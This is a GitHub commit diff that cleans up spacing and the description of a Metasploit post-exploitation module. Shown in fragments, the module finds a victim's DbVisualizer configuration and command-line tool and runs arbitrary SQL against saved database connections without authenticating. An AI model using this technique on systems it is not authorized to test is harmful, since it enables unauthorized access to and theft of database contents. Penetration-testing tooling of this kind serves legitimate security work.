Skip to content

Commit fbbaaf2

Browse files
committed
Fix spaces and module description
1 parent b4e68a7 commit fbbaaf2

File tree

1 file changed

+21
-18
lines changed

1 file changed

+21
-18
lines changed

modules/post/multi/manage/dbvis_query.rb

Lines changed: 21 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -13,12 +13,15 @@ class Metasploit3 < Msf::Post
1313

1414
def initialize(info={})
1515
super( update_info( info,
16-
'Name' => 'Multi Manage Dbvis Query',
16+
'Name' => 'Multi Manage DbVisualizer Query',
1717
'Description' => %q{
18-
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
19-
The remote database can be accessed from the command line without the need to authenticate.
20-
Attention, backslash quotes and your (stacked or not) queries should end with ;
21-
The module abuses this functionality to query the remote database and store the result.
18+
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
19+
(With GUI). The remote database can be accessed from the command line without the need
20+
to authenticate, and this module abuses this functionality to query and will store the
21+
results.
22+
23+
Please note: backslash quotes and your (stacked or not) queries should
24+
end with a semicolon.
2225
},
2326
'License' => MSF_LICENSE,
2427
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
@@ -56,7 +59,7 @@ def exist_and_supported()
5659
if (user =~ /root/)
5760
user_base = "/root/"
5861
else
59-
user_base="/home/#{user}/"
62+
user_base = "/home/#{user}/"
6063
end
6164
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
6265
when /win/
@@ -78,7 +81,7 @@ def exist_and_supported()
7881
print_error("File not found: #{dbvis_file}")
7982
return
8083
end
81-
old_version= true
84+
old_version = true
8285
end
8386

8487
print_status("Reading : #{dbvis_file}" )
@@ -91,18 +94,18 @@ def exist_and_supported()
9194
return
9295
end
9396

94-
db_found=false
95-
alias_found=false
96-
db_type=nil
97-
db_type_ok=false
97+
db_found = false
98+
alias_found = false
99+
db_type = nil
100+
db_type_ok = false
98101

99102
# fetch config file
100103
raw_xml.each_line do |line|
101104

102105
if line =~ /<Database id=/
103106
db_found = true
104107
elsif line =~ /<\/Database>/
105-
db_found=false
108+
db_found = false
106109
end
107110

108111
if db_found == true
@@ -141,7 +144,7 @@ def find_dbviscmd
141144
case session.platform
142145
when /linux/
143146
dbvis = session.shell_command("locate dbviscmd.sh").chomp
144-
if dbvis.chomp==""
147+
if dbvis.chomp == ""
145148
print_error("dbviscmd.sh not found")
146149
return nil
147150
else
@@ -164,7 +167,7 @@ def find_dbviscmd
164167
#Browse program content to find a possible dbvis home
165168
dirs.each do |d|
166169
if (d =~ /DbVisualizer[\S+\s+]+/i)
167-
dbvis_home_dir=d
170+
dbvis_home_dir = d
168171
end
169172
end
170173
if dbvis_home_dir.blank?
@@ -183,14 +186,14 @@ def find_dbviscmd
183186

184187
# Query execution method
185188
def dbvis_query(dbvis,sql)
186-
error =false
187-
resp=''
188-
if file?(dbvis)==true
189+
error = false
190+
resp = ''
191+
if file?(dbvis) == true
189192
f = session.fs.file.stat(dbvis)
190193
if f.uid == Process.euid or Process.groups.include?f.gid
191194
print_status("Trying to execute evil sql, it can take time ...")
192195
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
193-
dbvis ="\"#{dbvis}\""
196+
dbvis = "\"#{dbvis}\""
194197
cmd = "#{dbvis} #{args}"
195198
resp = cmd_exec(cmd)
196199
print_line("")

0 commit comments

Comments
 (0)